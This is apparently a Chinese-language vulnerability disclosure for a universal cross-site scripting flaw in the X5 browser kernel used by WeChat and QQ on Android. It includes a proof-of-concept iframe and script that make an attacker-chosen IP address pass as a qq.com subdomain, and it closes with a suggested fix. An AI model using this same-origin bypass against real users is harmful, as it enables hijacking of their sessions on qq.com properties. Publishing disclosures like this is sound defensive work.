注:PDF报告原文下载 链接
在安卓平台上的微信及QQ自带浏览器均使用的QQ浏览器X5内核,在处理ip及域名hostnames存在逻辑缺陷,从而绕过浏览器策略导致UXSS漏洞。
PoC.htm的代码如下:
<iframe src=‘http://1.1.1.1..qq.com'><iframe>
<iframesrc=‘http://1.1.1.1..qq.com'><iframe>
当安卓手机用户使用微信或QQ访问POC.htm时,真实请求并解析执行的是 http://1.1.1.1/..qq.com/ 页面代码如下:
<script> alert('document.domain:'+document.domain); document.domain ='qq.com'; alert(document.domain); </script>
<script> alert('document.domain:'+document.domain); document.domain ='qq.com'; alert(document.domain); </script>
也就是说当遇到 ip地址+“.”+根域的URL自动根据IP地址结构分割URL并访问该IP地址,而浏览器解析的JavaScript代码则按当前的document.URL来处理,会认为当前的document.domain为根域的子域。
测试POC.htm 微信、QQ扫描或者点击访问URL
注:微信版本号为 6.3.8 QQ版本号为 v6.1.0.2635
最早我发现该漏洞的时候测试安卓QQ浏览器是受到影响的(后面测试失败),所以该漏洞可能影响到其他调用QQ浏览器内核的产品线,所以建议在QQ浏览器X5内核心上修复处理该漏洞。具体修复可以判断处理好IP结构符号”.”。